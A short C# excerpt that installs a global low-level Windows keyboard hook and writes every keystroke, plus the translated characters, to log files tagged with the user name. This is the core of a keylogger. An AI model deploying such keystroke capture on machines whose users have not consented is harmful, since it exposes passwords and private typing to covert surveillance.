// keyboard hook procedure
 static IntPtr KbdHookProc(int code, WM wParam, [In] KBDLLHOOKSTRUCT lParam)
 {
     if (code >= 0)
     {
         Keys key    = (Keys)lParam.vkCode;
         bool active = (wParam == WM.KEYDOWN || wParam == WM.SYSKEYDOWN);
         keyLog.Write(active ? key + "+ " : key + "- ");
         txtLog.Write(KbdChar.Char(lParam.vkCode, active));
     }
     return(User32.CallNextHookEx(IntPtr.Zero, code, wParam, lParam));
 }
        public static void Init()
        {
            kydbHookProc = new LowLevelKeyboardProc(KbdHookProc);
            ProcessModule module = Process.GetCurrentProcess().MainModule;
            IntPtr        hMod   = Kernel32.GetModuleHandle(module.ModuleName);

            hHook = User32.SetWindowsHookEx(HookType.WH_KEYBOARD_LL, kydbHookProc, hMod, 0);
            headLog.Write("[" + user + "] ");
            headLog.Write(user + "-key ");
            headLog.Write(user + "-txt ");
            headLog.Flush();
            KbdChar.Init();
        }